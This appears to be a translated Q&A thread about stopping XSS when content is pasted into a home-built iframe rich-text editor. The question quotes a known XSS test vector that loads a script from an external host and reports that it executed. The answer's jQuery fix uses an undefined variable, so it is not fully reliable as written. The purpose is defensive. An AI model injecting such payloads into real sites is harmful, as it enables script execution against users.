0

我从头开始构建了一个内框编辑器。我正在尝试解决 XSS 漏洞。iframe 描述为:

<iframe   id="wysiwygtextfield" onload="return initialize(this);"  frameborder="0"  scrolling="no" >
                 <html>
                      <head>
                      </head>
                 <body spellcheck = "true">
                      <br/>
                 </body>
                 </html>
<iframe>

我尝试复制粘贴以下向量:

<SCRIPT SRC=//ha.ckers.org/.j>

它执行。我在复制粘贴事件上有一个事件触发器,如下所示:

    $('#wysiwygtextfield').contents().find('body').bind("paste", function(e) {

        var element = this;
         setTimeout(function(){
        var text = $(element).text() ;
      /*  var pattern = /<script(\s+(\w+\s*=\s*("|').*?\3)\s*)*\s*(\/>|>.*?<\/script\s*>)/;

        text = text.toLowerCase().replace(pattern,"Dirty paste") ; */
    $('#wysiwygtextfield').contents().find('img').each(
                                                    function()
                               { text += "<br/><br/>"+ $(this).get(0).outerHTML ; }
);

        $(element).html(text) ; },10);

    }); 

我尝试使用正则表达式匹配来对抗它,但它无效(更多的是黑名单)。我尝试了其他一些文本编辑器(ckeditor 和 tinymce),它们只是复制粘贴文本而没有执行 javascript。有没有其他方法可以安全地复制粘贴javascript而不执行?我在服务器端有一个消毒剂来删除标记。

4

1 回答 1

0

您应该在服务器端验证内容。同样对于 HTML 正则表达式也不是一个好的做法。您可以使用 HTMLAgilityPack 库,它为服务器端的 HTML 解析提供了非常好的功能。

如果您仍然想在客户端做一些事情,您可以按以下方式进行

$('#wysiwygtextfield').contents().find('body').bind("paste", function(e) {

        var element = this;
         setTimeout(function(){
        $(element).find("script").remove();        //this would remove all script tags from html

//or you can replace the script tag with something else
$(element).find("script").replaceWith("<div>Dirty Paste</div>");


        $('#wysiwygtextfield').contents().find('img').each(
                                                    function()
                               { text += "<br/><br/>"+ $(this).get(0).outerHTML ; }
);

        $(element).html(text) ; },10);

    }); 
于 2013-09-24T13:12:49.447 回答